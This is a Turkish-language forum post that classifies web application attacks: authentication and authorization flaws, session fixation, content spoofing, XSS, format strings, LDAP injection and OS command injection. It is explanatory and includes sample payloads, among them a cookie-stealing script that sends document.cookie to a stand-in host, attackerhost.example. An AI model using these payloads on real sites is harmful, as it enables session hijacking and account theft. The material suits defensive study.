ServerErr0r
uid=0(root)
- Katılım
- 12 Eyl 2009
- Mesajlar
- 2,330
- Reaction score
- 0
- Puanları
- 0
Web Güvenliğini tehdit eden unsurları sınıflandırarak herhangi bir web sitesinin güvenliğine karşı olabilecek tehditleri açıklamak ve düzenlemek amacıyla genel bir analiz yapacağız. Ne tür tehditle karşı karşıyayız ve bunlara önlem olarak ne tür kontroller sağlanmalıdır?
Web güvenliği açıklıkları bir web sitesinin riskini devamlı olarak artırmaktadırlar. Herhangi bir web güvenliği açıklığı tespit edildiğinde, saldırının gerçekleştirilmesi için mevcut bir çok uygulama saldırıları tekniklerinden en az birisinin kullanılması gerekmektedir. Bu teknikler güvenlik açıklığından yararlanma şekline bağlı olarak farklılık gösterir. Genel olarak saldırı türleri, buffer overflow(bellek taşması), SQL injeksiyon, XSS(siteler arası betik yazma - CSS açıkları) şeklinde sıralanabilir.
Web güvenliği tehdit sınıflandırmasının oluşturulması uygulama geliştiriciler, güvenlik uzmanları, yazılım üreticileri ve web güvenliği ile ilgilenen diğer herkes için çok önemlidir.
Örneğin, bir web sitesi XSS saldırısına karşı korunmasız ise güvenlik açısından bu eksiklik kullanıcıların çerezlerinin çalınmasına yol açabilir. Çerez çalındığı zaman, bu durum herhangi bir kişinin oturum ele geçirmesine ve kullanıcının çevrimiçi hesabının ele geçirilmesine neden olabilir. Açıklıktan yararlanmak için, saldırgan URL (Bir örnek Kaynak Konumlayıcı) parametresini değiştirerek girdi manipülasyonu gerçekleştirebilir.
Web güvenliğini artırmaya yönelik önemlerin alınması için gerekli kontrollerin yapılması, saldırı sınıflarının incelenerek analiz edilmesi gerekir.
Saldırıların Sınıflandırması
Kimlik Doğrulama
Kullanıcı, servis veya uygulama kimliğini onaylayan metodunu hedef alan saldırıları kapsar. Kimlik doğrulaması en az şu üç mekanizmadan biriyle gerçekleştirilir:
· Sahip olduğunuz bir nesne
· Bildiğiniz bir bilgi
· Sahip olduğunuz bir özellik
Web sitesinin kimlik doğrulama mekanizmasını atlatmak veya istismar etmek için kullanılan saldırıları ele almaktadır. Kaba Kuvvet Saldırıları, Yetersiz Kimlik doğrulama, Zayıf Parola Kurtarma Denetimi şeklinde kendi içerisinde sınıflandırılır.
a- Kaba Kuvvet Saldırıları
Kaba kuvvet saldırısı, bir kişinin kullanıcı ismininin, parolasının, kredi kart numaralarının veya kriptografik anahtarlarının birer birer tahmin edilmesi için kullanılan otomatik bir deneme yanılma işlemidir.
Genel bir mantık olarak kullanıcılar kolay hatırlanabilir parolalar seçmektedirler. Saldırgan sistem üzerinde binlerce, milyonlarca tahmin üreterek geçerli bir parola bulmaya çalışır. Tahmin edilen parola sisteme erişime izin verdiğinde, kaba kuvvet saldırısı başarılı olmuş ve saldırgan ilgili hesaba erişmeyi başarmış demektir.
Gerçekte iki çeşit kaba kuvvet saldırısı mevcuttur, normal kaba kuvvet ve ters kaba kuvvet. Normal kaba kuvvet saldırısı, bir tek kullanıcı ismini birçok parola için kullanır. Ters kaba kuvvet saldırısı ise birçok kullanıcı ismini bir parola için kullanır. Milyonlarca kullanıcı hesabına sahip sistemlerde, birden çok kullanıcının aynı parolaya sahip olması olasılığı çarpıcı bir şekilde artmaktadır.
Kaba kuvvet saldırı teknikleri çok popüler olup çoğunlukla başarılı olurlar fakat bu saldırılar saatler, haftalar veya yıllar gerektirebilir.
Örneğin, Ali Avcı adındaki bir kullanıcı için;
Kullanıcı İsmi = Ali
Parolalar = avcı, ali-avcı, [hayvan isimleri], [doğum tarihleri], [araba isimleri],
Kullanıcı isimleri = Ali, Esra, Deniz, Serkan, Bahadır.....
Parola = 12345678
bu şekilde kullanım tamamen yanlış ve tehlikelidir.
b - Yetersiz Kimlik Doğrulama
Yetersiz kimlik doğrulama, bir web sitesinin saldırgana uygun bir kimlik doğrulama gerçekleştirmeden hassas içeriğe ya da fonksiyonlara erişim izni vermesiyle gerçekleşir.
Web tabanlı yönetim araçları hassas fonksiyonlara erişim sağlayan web sitelerine iyi birer örnektir. Kaynağına göre web uygulamalarına kullanıcıların tam olarak kimlikleri onaylanmadan direk olarak erişilmemelidir.
Bir kaynak saldırgan tarafından bilinmiyorsa bile belirli bir URL adresi ile bu kaynağa erişilebilir. URL adresi, yaygın kullanılan dosya ve dizin konumlarında (örneğin /admin), hata mesajlarında, kayıtlarda veya yardım dosyalarında kaba kuvvet yöntemiyle araştırılarak bulunabilir. Sözü edilen bu kaynaklar eğer içerik veya fonksiyonel olarak gerekli ise uygun bir şekilde korunmalıdır.
Örneğin;
Birçok web uygulaması, ana dizin dışında (/admin) başka dizinlere kurulmuştur ve
bazı yönetici fonksiyonlarına göre tasarlanmıştır. Bu dizinden web sitenin herhangi bir yerine hiç bir zaman link kurulmamıştır fakat söz konusu dizine standart bir web tarayıcısı ile erişmek hala mümkündür. Uygulamayı geliştiren kişi, web sayfasına herhangi bir link oluşturulmadığı ve herhangi bir kullanıcının da bu web sitesini görmesini beklemediği için söz konusu sayfaya kimlik doğrulama fonksiyonu eklemeyi çoğu zaman gözden kaçırmaktadır. Eğer saldırgan basit bir şekilde bu web sayfasını ziyaret edecek olursa, web sitesine tüm yönetici yetkileri ile erişme yetkisi kazanacaktır.
c - Zayıf Parola Kurtarma Denetimi
Zayıf parola kurtarma denetimi, bir web sitesinin saldırganın illegal olarak bir başkasının parolasını ele geçirmesine, değiştirmesine veya kurtarmasına izin verdiği durumdur.
Geleneksel web sitesi kimlik doğrulama metotları kullanıcıların bir parola ya da anahtar parolası (güvenlik kodu) seçmelerini ve bu bilgileri hatırlamalarını gerektirir. Söz konusu parolayı sadece sahibi olan kullanıcı bilmelidir.
Zaman geçtikçe kullanıcının parolayı hatırlayabilmesi zorlaşır. Normal bir kullanıcı parola gerektiren 20 web sitesi ziyaret ediyorsa hatırlama sorunu daha da artar. Bu sebepten dolayı, parola kurtarma fonksiyonu sistemlerin önemli bir parçasıdır. Otomatik parola geri elde etme işlemleri, kullanıcının kayıt olma işleminde belirlediği gizli soruya cevap vermeyi gerektirmektedir. Bu soru verilen soru listesinden seçilir ya da kullanıcı tarafından belirlenir. Kullanılan başka bir mekanizma ise kullanıcının parolayı hatırlaması için kayıt olma işlemi sırasında belirlenen bir yardım bilgisini kullanıcıya sunmasıdır. Diğer
mekanizmalar, kullanıcının kimliğini doğrulamak için sosyal güvenlik numarası, ev adresi, zip kodu v.b gibi kişisel bilgilerin girilmesini gerektirmektedir.
Kullanıcının kim olduğunu kanıtlamasından sonra sistem yeni parolayı kullanıcıya gösterir ya da e-posta yolu ile gönderir. Saldırgan parola kurtarma mekanizmasını yanıltabiliyorsa, web sitesi zayıf bir parola kurtarma mekanizmasına sahip demektir. Parolayı kurtarma işlemi sırasında kullanıcının kimliğini onaylamak için gereken bilgi tahmin edilebiliyorsa veya bu bilgi isteme işlemi atlatılabiliyorsa bu durum oluşur. Parola geri kurtarma sistemleri kaba kuvvet saldırıları, sistem açıklıkları ve kolay tahmin edilebilir gizli sorular kullanılarak istismar edilir.
Örneğin;
(Zayıf parola geri elde etme metotları)
• Bilgi Onaylama
Birçok web sitesi, kullanıcılardan sadece e-posta adresi, ev adresi ve telefon numarası bilgilerini isterler. Bu bilgiler birçok çevrimiçi beyaz sayfalardan elde edilebilir. Sonuç olarak onaylama bilgisi çok gizli değildir. Ayrıca söz konusu bilgiler XSS ve balık tutma saldırıları gibi diğer metotlarla da elde edilebilir.
• Parola İmaları
Kullanıcıya parola hatırlatmak için parola ipuçları kullanan web siteleri ipuçlarının kaba kuvvet saldırılarını kolaylaştırabilmesi sebebiyle rahatlıkla saldırılara maruz kalabilir. Kullanıcı iyi bir parola olan "122277King" ve parola ipucu olan "bday+fav author" kullanabilir. Bu durumda saldırgan parola ipucundan kullanıcının parolasının kullanıcının doğum günü ve favori yazarının birleşimi olduğunu çıkarabilir. Elde edilen bu bilgi, sözlük kaba kuvvet saldırısının parolayı tahmin etmede başarılı olma ihtimalini çok büyük miktarda artırır.
• Gizli Soru ve Cevap
Kullanıcının parolası “Richmond” ve gizli soru da “Nerede doğdunuz” sorusu olabilir. Saldırgan kaba kuvvet saldırısını şehir isimlerine yoğunlaştırır. Bunun yanında saldırgan hedef kullanıcı hakkında az bir bilgi biliyorsa doğum yerini öğrenme kolay bir iş haline gelir.
Yetkilendirme
Bir web sitesinin kullanıcı, servis veya uygulamanın istenen bir işlemi gerçekleştirmesi için gereken izinleri belirlemekte ve kullandığı metotları hedef alan saldırıları kapsamaktadır. Örnek olarak, birçok web sitesi belirli kullanıcıların belirli içeriğe ve fonksiyonlara erişimine izni vermelidir. Diğer zamanlarda kullanıcının diğer kaynaklara erişimi kısıtlanmalıdır. Saldırgan, web sitesinin korunan alanlarındaki haklarını değişik saldırı teknikleri yardımıyla artırarak sisteme girmeye çalışacaktır. Yetkilendirme kendi içerisinde sınıflandırılırsa;
a - Oturum Bilgisi Tahmin Etme
Web sitesi kullanıcısının rolüne girme veya söz konusu kullanıcının oturumunun ele geçirilmesi metodudur. Belirli bir oturumun veya kullanıcının tanınmasını ve diğerlerinden ayırt edilmesini sağlayan bir bilginin elde edilmesi ya da tahmin edilmesi söz konusu saldırıyı başarılı kılar. Oturumun ele geçirilmesi olarak da bilinen metodun kullanılmasıyla saldırganlar istismar edilen kullanıcının hakları ile web sitesine istek gönderebilirler.
Birçok web sitesi, iletişimin kurulmasından sonra kullanıcının kimliğinin doğrulanmasını sağlamak ve takibini yapmak için tasarlanmıştır. Bunu gerçekleştirmek için kullanıcılar kendi kimliklerini kullanıcı ismi ve parola bilgilerini girerek onaylatırlar. Bu gizli yetki bilgilerinin her işlemde web sitesine gidip gelmesi yerine web siteleri tek bir oturum numarası üreterek kullanıcı oturumunun kimliğinin doğrulandığını takip eder. Web sitesi ile kullanıcı arasındaki sonraki iletişimlere, üretilen bu oturum numarası eklenerek oturumun kimliğinin doğrulandığına dair kanıt oluşturulur.
Örneğin;
Birçok web sitesi tescilli algoritmalar kullanarak oturum numarası üretirler. Bu geleneksel metodolojiler statik sayıları artırarak oturum numarası oluşturabilirler veya zaman ve diğer bilgisayara özel değişkenler kullanarak daha karmaşık prosedürler kullanılabilirler.
Oturum numarası bir çerez, gizli form alanı veya URL içerisinde depolanabilir. Eğer saldırgan oturum numarası üreten algoritmayı belirleyebilirse, aşağıdaki şekillerdeki gibi saldırılar oluşturulabilir:
• Saldırgan web uygulamasına bağlanarak hali hazırdaki oturum numarasını elde eder,
• Saldırgan bir sonraki oturum numarasını direk hesaplar ya da kaba kuvvet saldırısı ile tespit eder,
• Saldırgan hali hazırdaki değeri (çerezdeki, gizli form alanındaki veya URL"deki) değiştirerek bir sonraki kullanıcının kimliğini ele geçirir.
b - Yetersiz Yetkilendirme
Web sitesinin daha geniş erişim kontrol kısıtlamaları gereken hassas bilgi içeriğine ya da fonksiyonlarına erişime izin vermesidir. Kullanıcının bir web sitesine erişim hakkı kazanması, sitenin tüm içeriğine veya fonksiyonlarına erişmesine izin verildiği anlamına gelmez.
Bir kullanıcının, servisleri veya uygulamaları kullanmasına izin verilmesi işlemlerini belirleyen yetkilendirme prosedürleri kimlik doğrulama işleminden sonra belirlenir. İyi belirlenmiş kısıtlamalar mevcut politikaya göre web sitesinin aktivitelerini yönetmelidir. Web sitesinin yönetimle alakalı kritik bölgeleri ancak sistem yöneticileri tarafından erişime açık olmalıdır.
Örneğin,
Geçmişte, birçok web sitesi, yönetici işlemleri ile ilgili içeriği ve/veya yönetici fonksiyonlarını ‘/admin’ veya ‘/logs’ gibi gizli dizinler içinde depolamaktaydı. Eğer saldırgan bu dizinlere direk olarak erişim talebinde bulunursa, erişime izin veriliyordu. Böylece saldırgan web sunucusunu yeniden konfigüre etme, hassas bilgiye erişme ve web sitesini istismar etme imkanına sahip oluyordu.
c - Yetersiz Oturum Sonlandırma
Web sitesinin saldırgana yetkilendirme için kullanılan eski oturum kimlik bilgisini veya bilgilerini tekrar kullanma imkanı vermesidir. Yeterli oturum sonlandırma işleminin yapılmaması, belirli saldırılarının başarı şansını artırabilir. Örneğin, saldırgan bir oturum bilgisini muhtemel bir ağ dinleyicisi ya da XSS saldırısı ile elde edebilir.
Başka bir saldırı senaryosunda, paylaşımlı bir bilgisayardan (kütüphane, internet kafe veya herkese açık iş ortamlarında bulunan bilgisayarlar gibi) herhangi bir web sitesine giriş yapılarak yetersiz oturum sonlandırma, saldırganın web tarayıcıdan geri düğmesine basarak daha önce kurban tarafından girilmiş web sitelerine erişmesine neden olur.
Örneğin;
Paylaşılan bilgisayar ortamlarında, yetersiz oturum sonlandırma bir başkasının web aktivitelerini gözlemleme amacıyla istismar edilebilir. Kurbanın oturum bilgisi sonlandırılmadığında, saldırgan kurbanın oturumunu sisteme herhangi bir kimlik doğrulama bilgisi sunmadan gözlemleyebilir.
d - Oturum Belirleme
Kullanıcıyı belirgin bir değerdeki oturum bilgisi kullanmaya zorlayan saldırı tekniğidir. Hedef web sitesinin sağladığı fonksiyonlara göre değişen birçok saldırı tekniği oturum bilgisini belirli bir değere sabitlemek amacıyla kullanılabilir. Bu teknikler, XSS’den web sitesine önceden yapılan HTTP erişimlerinden elde edilen oturum bilgilerine kadar değişen tekniklerdir.
Bir kullanıcının oturum bilgisi belirlendikten sonra, saldırgan kullanıcının sisteme giriş yapmasını bekler. Kullanıcı girişi yaptıktan sonra, saldırgan kurbanın sistem tarafından oluşturulan kimliğini ele geçirmek için önceden belirlenmiş oturum bilgisini kullanır.
İki çeşit oturum yönetim sistemi mevcuttur. Birincisi, “her şeye açık” sistemler ki bu sistemler web tarayıcılarının herhangi bir oturum bilgisi değeri belirlemesine izin verirler. İkinci çeşit sistemler sadece sunucu tarafından oluşturulan değerlere izin veren daha katı kurallı sistemlerdir. “Her şeye açık” sistemlerde rastgele değerdeki bir oturum bilgisi web sitesiyle temas kurulmadan belirlenir.
Katı kurallı sistemler, saldırganın web sitesi ile periyodik olarak kontağa geçerek ve aktivitesiz geçen süre sonunda iletişimi sonlandıran mekanizmadan korunarak oturumu devamlı izlemesini gerektirir.
Örneğin;
Oturum belirleme saldırısı üç adımda gerçekleşir:
1. Oturum oluşturma
Saldırgan hedef web sitesine izlenen bir oturum açar ve bir oturum bilgisi elde eder veya saldırgan kullanmak için rastgele bir oturum bilgisi seçer. Bazı durumlarda, izlenen oturumun bilgisinin web sunucusu tarafında geçerliliğini koruması için web sitesiyle tekrarlanan bir bağlantının kurulması gerekir.
2. Oturum belirleme
Saldırgan tespit ettiği oturum bilgisini kullanıcının web tarayıcısına gönderir ve böylelikle kullanıcının oturum numarasını kendi bildiği bir değere sabitlemiş olur.
3. Oturum Girişi
Saldırgan kullanıcının hedef web sitesine girmesini bekler. Kullanıcı web sitesine girdiğinde sabitlenen oturum numarasını kullanır ve saldırgan oturumu kendi üzerine alır.
Oturum bilgisinin sabitlenmesi aşağıdaki tekniklerle gerçekleştirilebilir:
1. Yeni oturum bilgisinin kullanıcı bazlı betik kullanılarak dağıtılması. İlgili alandaki herhangi bir web sitesinde mevcut bulunan XSS açıklığı çerez değerini değiştirmede kullanılabilir.
Kod Parçacığı
http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>.idc
2. META etiketi kullanarak çerez dağıtma
Bu metot bir önceki metoda benzemektedir, fakat XSS için alınan önlemlerin Meta etiketlerinin değil de HTML betik etiketlerinin sisteme sokulmasını önlediği zamanlarda da etkilidir.
Kod Parçacığı
http://example/<meta%20http-equiv=Set-Cookie%20content="sessionid=1234;%20domain=.example.dom">.idc
3. HTTP cevap başlığı ile çerez dağıtma
Saldırgan aynı alandaki hedef web sitesinin veya başka bir sitenin çerezini dağıtmasını zorlar. Bu birçok yolla gerçekleştirilebilir:
• Aynı alandaki bir web sunucunun kırılması (mesela iyi yönetilemeyen WAP sunucusu)
• Kullanıcının DNS sunucusunun zehirlenerek saldırganın web sitesinin alana dahil edilmesi
• Alanda kötü niyetli bir web sunucusu kurma (Örneğin windows 2000 etki alanındaki bir bilgisayara, bütün bilgisayarlar DNS alanındadır)
• HTTP cevap bölme saldırısının kullanılması
Not: Uzun zamanlı oturum belirleme saldırısı, oturumun bilgisayar tekrar açıldığında bile sabit kalmasını sağlayan kalıcı çerezler kullanılarak gerçekleştirilebilir.
Kod Parçacığı:
http://example/<script>document.cookie="sessionid=1234;%20Expires=Friday,%201-Jan2010%2000:00:00%20GMT";</script>.idc
İstemci Taraflı Saldırılar
İstemci taraflı saldırı bölümü bir web sitesi kullanıcılarının istismar edilmesi üzerine odaklanır. Saldırgan web sitesini ziyaret ettiğinde, kullanıcı ile web sitesi arasında teknolojik ve psikolojik bir güven kurulur. Saldırgan, kullanıcıyı istismar etmek için bir çok teknik kullanarak bu güven ilişkileri ile ilgili beklentileri kendi amacı için kullanır.
a - İçerik Sahteciliği
İçerik sahteciliği, kullanıcıya bir web sitesindeki belirli içeriğin meşru olduğuna ve bu içeriğin harici bir kaynağa ait olmadığına inandırılmasını sağlayan bir saldırı tekniğidir.
Dinamik olarak üretilen HTML içerikleri sunan web sayfaları vardır.
Örneğin, çerçeve kaynağının yeri (<frame src = “http://foo.example/file.html”>)
URL parametre değeri ile belirlenebilir.
(http://foo.example/page?frame_src=http://foo.example/file.html)
Saldırgan “frame_src” parametresinin değerini “frame_src=http://attacker.example/spoof.html” değeri ile değiştirebilir.
Sonuç web sayfası servis edildiğinde, web tarayıcısının adres kısmında kullanıcının beklediği alana ait adres bulunur ama yabancı veri (attacker.example) normal içerikle örtülmüştür.
Özel olarak değiştirilmiş linkler, e-posta, anında mesajlar, duyuru panoları mesajları veya XSS saldırısı yollarıyla kullanıcıya gönderilir. Eğer saldırgan kendisi tarafından belirlenmiş kötü içerikli URL adresini kullanıcının ziyaret etmesini sağlarsa, kullanıcı doğru içeriğe ulaşmadığı halde ulaştığına inanır.
Kullanıcılar sahte içeriğe güvenirler çünkü tarayıcının adres kısmında “http://foo.example” adresinin yazılı olduğunu görürler oysa sayfasının HTML çerçevesinin referansı “http://attacker.example”dır.
Bu saldırı kullanıcı ile web sitesi arasındaki güveni istismar eder. Bu teknik giriş formları, tahrif edilmiş içerik ve yanlış yayın sürüm bilgileri v.b içeren sahte web siteleri oluşturmak için kullanılır.
Örneğin; sahte basın yayını oluşturma.
Bir web sitesinin basın web sayfaları için dinamik olarak oluşturulan HTML çerçeveleri kullandığını düşünelim. Kullanıcı aşağıdaki gibi bir bağı ziyaret edecek olsun: (http://foo.example/pr?pg=http://foo.example/pr/01012003.html)
Sonuç web sayfası şu şekilde olur.
Kod Parçacığı:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
Yukarıdaki örnekte yer alan “pr” web uygulaması, HTML sayfasını statik bir menüden
ve dinamik olarak “FRAME SRC” kaynağından oluşturmuştur. “pr_content” frame’i kaynağını istenen basın yayın içeriğini göstermek için URL adresinden “pg” parametresi değişkeni olarak alır. Fakat saldırgan normal URL adresini http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html?
adresine çevirir ve “pg” değeri web sunucu tarafından kontrol edilmez ise sonuç HTML sayfası şu şekilde oluşur:
Kod Parçacığı:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
Son kullanıcı, “attacker.example” sahte içeriğinin meşru ve doğru bir kaynaktan geliyormuş olduğunu düşünür.
b - Siteler Arası Betik Yazma - XSS Saldırıları
XSS saldırıları, web sitesinin saldırgan tarafından belirlenen çalıştırılabilir kodu normal bir kullanıcıya göndermesi ve bu kodun kullanıcı web tarayıcısında yüklenerek çalışmasıyla gerçekleşen bir saldırı çeşitidir.
Genel olarak HTML/Javascript olarak yazılır ama VBScript, ActiveX, Java, Flash veya tarayıcı tarafından desteklenen başka teknolojilere de çevrilebilir. XSS saldırısına maruz kalan kullanıcının hesabı çalınır (çerezin ele geçmesi), kullanıcının web tarayıcısı başka bir adrese yönlendirilir veya ziyaret edilen web sitenin sunduğu hileli içerik kullanıcıya gösterilir.
Kalıcı ve kalıcı olmayan olmak üzere iki çeşit XSS saldırısı mevcuttur.
Örnek
1. Kalıcı saldırı
Birçok web sitesi kayıtlı kullanıcıların mesaj yollayabildiği ilan panoları sunarlar. Kayıtlı kullanıcı, ilan göndermek için kendisine yetki veren çerez kullanılarak takip edilir. Eğer saldırgan özel olarak oluşturulmuş JavaScript kod içeren mesaj gönderirse, bu mesajı okuyan kullanıcının çerezleri ve hesabı istismar edilebilir.
Çerez Çalma Kod Parçacığı
<SCRIPT>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</SCRIPT>
2. Kalıcı Olmayan Saldırı
Birçok web portalı web sitesinin kişiselleştirilmiş bir şeklini sunar ve siteye giren kullanıcıları “<İsminiz> Hoş Geldiniz” gibi bir ifade ile karşılar.
Bazen giriş yapan kullanıcıyı belirleyen veri, URL"nin soru kelimesinde depolanır ve monitörde gösterilir.
Portal URL Örneği
http://portal.example/index.php?sessionid=12312312&username=Joe
Yukarıdaki örnekte kullanıcı isminin (“Joe”) URL’de yer aldığı görülmektedir. Oluşan web sayfasında “Joe, Hoş Geldin” mesajı görüntülenmektedir. Eğer saldırgan, kullanıcı ismi alanını çerez çalabilen bir JavaScript kodu yardımıyla değiştirebilirse, kullanıcı hesabının kontrolünü ele geçirme imkanına sahip olabilir.
URL kodlamasıyla kodlanmış çerez çalma URL örneği:
http://portal.example/index.php?ses...in/cookiesteal.cgi?'+document.cookie</script>
Çerez çalma URL örneğinin çözümlenmiş hali:
http://portal.example/index.php?sessionid=12312312&username=<script>document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie</script>
Komut Çalıştırılarak Gerçekleştirilen Saldırılar
Uzaktan çalışan komutlarla yapılan saldırılardır. Bütün web siteleri talepleri karşılamak için kullanıcı girdilerinden faydalanır. Çoğu zaman bu kullanıcı girdileri dinamik web sitesi içeriği hazırlamada kullanılan komutların oluşturulmasında kullanılır. Eğer bu işlem güvenli bir şekilde yapılmazsa, saldırgan komut çalıştırma işlemini değiştirebilir.
a - Ara Bellek Taşması - Buffer Overflow
Buffer overflow saldırıları, hafızanın bazı bölümlerinin üzerine yazarak uygulamanın akışını değiştiren saldırılardır. Hata ile sonuçlanan genel bir yazılım kusurudur. Bu hata durumu, ayrılan yerden daha çok veri hafızada bir yere yazıldığında oluşur. Bellek taştığında, komşu hafıza bölgelerinin üzerine yazılarak hatalara veya çökmelere neden olunur. Bellek taşmasının, hafızayı bozması yazılımın çökmesi ile sonuçlanır ve bu şekilde hizmet dışı saldırısı olarak kullanılabilir. Bellek taşması açıklıkları, yığın işaretçilerinin üzerine yazmak suretiyle programı yeniden yönlendirmek ve zararlı kodlar çalıştırmak için
kullanılmaktadır. Bellek taşması program değişkenlerini değiştirmek için de kullanılmaktadır. Buffer Overflow açıklıkları genellikle C ve C++ gibi programlama dillerinde meydana gelir. Bir CGI programında veya bir C programına ulaşan bir web sayfasında meydana gelebilir.
b - Dizgi Formatı Saldırısı
Dizgi formatı saldırıları dizgi biçimlendirme kütüphanesinin özelliklerini kullanarak diğer hafıza bölümlerine ulaşır ve bu şekilde uygulamanın akışını değiştirir. Açıklıklar, istemci taraflı verilerin bazı C/C++ fonksiyonlarında doğrudan kullanılması sonucu olşur. (örn. fprintf, printf, sprintf, setproctitle, syslog, ...)
Eğer bir saldırgan, web uygulamasına parametre olarak printf değiştirme karakterlerinden oluşan bir dizgi formatı verirse, şunlara sebep olabilir:
• sunucudaki rastgele herhangi bir kodun çalıştırılmasına,
• yığından değer okunup atılmasına
• kesimleme hatalarına (segmentation fault)/ yazılımın çökmesine
Örnek
Farzedelim ki bir web uygulaması, kullanıcı tarafından belirlenen bir email Address parametresine sahip. Bu uygulama bu değişkenin değerini printf fonksiyonunu kullanarak yazdırsın:
printf(emailAddress);
Eğer emailAddress ile gönderilen parametre, biçim karakterlerini içeriyorsa, printf bu karakterleri tanır, ve fazladan verilen argümanları kullanır. Eğer böyle argümanlar bulunmazsa, veri yığından, printf fonksiyonunun beklediği sırada uygun olarak alınır ve kullanılır.
Dizgi formatı saldırılarının bu şekildeki durumlarda olası kullanımları şöyle olabilir:
1. Yığından veri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%x” değiştirme karakterini (bir veya daha fazla kez) yollayarak yığındaki değerleri okuyabilir.
2. Hafızada işleme ayrılan bölümden karakter dizileri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%s” değiştirme
karakterini kullanarak rastgele hafıza bölgelerindeki karakter dizilerini okuyabilir.
3. Hafızada işleme ayrılan bölümdeki yerlere tamsayı yazmak: “%n” değiştirme
karakterini kullanarak, bir saldırgan, hafızadaki herhangi bir bölgeye bir sayı değeri yazabilir. (Örn. programın erişim ayrıcalıklarını kontrol eden değerlerin veya fonksiyonların dönüş adreslerinin üzerine yazmak, vb. gibi.)
c- LDAP Enjeksiyonu
Lightweight Directory Access Protocol (LDAP) X.500 dizin servislerini düzenlemeye ve sorgulamaya yarayan açık standartlı bir protokoldür. LDAP enjeksiyonu kullanıcı girdilerinden LDAP cümleleri oluşturan web sitelerini sömürmeye yarayan bir saldırı tekniğidir. LDAP protokolü TCP gibi internet taşıma protokollerinin üzerinde çalışır. Web uygulamları, dinamik web taleplerini karşılamak için, kullanıcı girdileri ile oluşturulan LDAP cümleleri kurar ve kullanır.
Aynı gelişmiş sömürü teknikleri SQL enjeksiyonu için de geçerlidir ve LDAP enjeksiyonuna benzer bir şekilde uygulanabilir.
Örnek
Yorumlarla Açıklığı Bulunan Kod:
Satır 0: <html>
Satır 1: <body>
Satır 2: <%@ Language=VBScript %>
Satır 3: <%
Satır 4: Dim userName
Satır 5: Dim filter
Satır 6: Dim ldapObj
Satır 7:
Satır 8: Const LDAP_SERVER = "ldap.example"
Satır 9:
Satır 10: userName = Request.QueryString("user")
Satır 11:
Satır 12: if( userName = "" ) then
Satır 13: Response.Write("<b>Geçersiz talep. Lütfen geçerli bir kullanıcı ismi ve
parolası giriniz</b><br>")
Satır 14: Response.End()
Satır 15: end if
Satır 16:
Satır 17:
Satır 18: filter = "(uid=" + CStr(userName) + ")" " kullanıcı girdisini arıyor
Satır 19:
Satır 20:
Satır 21: "LDAP objesini oluşturuyor ve temel dn’i tanımlıyor
Satır 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
Satır 23: ldapObj.ServerName = LDAP_SERVER
Satır 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
Satır 25:
Satır 26: "arama filtresini tanımlıyor
Satır 27: ldapObj.SearchFilter = filter
Satır 28:
Satır 29: ldapObj.Search
Satır 30:
Satır 31: "Kullanıcı bilgisini gösteriyor
Satır 32: While ldapObj.NextResult = 1
Satır 33: Response.Write("<p>")
Satır 34:
Satır 35: Response.Write("<b><u>User information for : " +ldapObj.AttrValue(0) + "</u></b><br>")
Satır 36: For i = 0 To ldapObj.AttrCount -1
Satır 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b> : " + ldapObj.AttrValue(i) + "<br>" )
Satır 38: Next
Satır 39: Response.Write("</p>")
Satır 40: Wend
Satır 41: %>
Satır 42: </body>
Satır 43: </html>
Koda baktığımızda, 10. satırda userName değişkeninin user parametresiyle
başlatıldığını ve ardından hızla boş olup olmadığının kontrol edildiğini görüyoruz. Eğer değer boş değilse, userName 18. satırda filter değişkenine ilk değeri atanıyor. Bu yeni değişken ise 27. satırda SearchFilter’a yapılan çağrıda kullanılan LDAP sorgusunu oluşturmak için doğrudan kullanılıyor. Bu senaryoda, saldırgan LDAP sunucusu üzerindeki sorguda mutlak kontrole sahip, ve sorgusunun sonuçlarını 32. ve 40. satırlar arasında, bütün sonuçlar ve özellikleri kullanıcıya tekrar gösterildiğinde alacaktır.
Saldırı Örneği
http://example/ldapsearch.asp?user=*
Yukarıdaki örnekte, user parametresi olarak * karakterini gönderiyoruz, ve sonuç olarak koddaki filter değişkenine * ilk değeri atanıyor (uid=*). Sonuçlanan LDAP cümlesi sunucuya uid özelliği bulunan her objeyi döndürmesini sağlayacaktır.
d - İşletim Sistemi Yönetme
İşletim Sistemi Yönetme, uygulama girdilerinin düzenlenmesi yoluyla işletim sistemi komutlarını çalıştırma ve bu şekilde web sitelerini sömürme tekniğidir. Web uygulaması kullanıcı-kaynaklı girdileri uygulama kodunda kullanmadan önce düzgün bir biçimde denetlemediği takdirde, uygulamayı işletim sisteminin komutlarını çalıştıracak biçimde kandırmak mümkün olabilir. Çalıştırılan komutlar çalıştıran kısmın haklarıyla çalışırlar. (örn. Veritabanı sunucusu, Web uygulaması sunucusu, Web sunucusu, etc.)
Örnek
Perl, dosya isminin arkasına ‘|’(aktarım karakteri) eklemek suretiyle, bir işten bir open cümlesine veri aktarımına izin verir.
Aktarım Karakteri(|) Örnekleri:
# “/bin/ls” ’i çalıştırma ve çıktıyı open cümlesine aktarma:
open(FILE, “/bin/ls|”)
Web uygulamaları, çoğu zaman, görüntülenen veya şablon olarak kullanılan bir dosyayı belirten parametreler içerir. Eğer web uygulaması kullanıcının sağladığı girdileri düzgün bir biçimde denetlemezse, saldırgan parametre değerini kabuk komutu ve akabinde aktarım sembolü olacak biçimde değiştirebilir (yukarıda gösterildiği gibi).
Web uygulamasının orjinal URL’si:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt ise;
şablon parametresinin değerini değiştirerek, saldırgan web uygulamasını /bin/ls komutunu çalıştıracak şekilde kandırabilir.
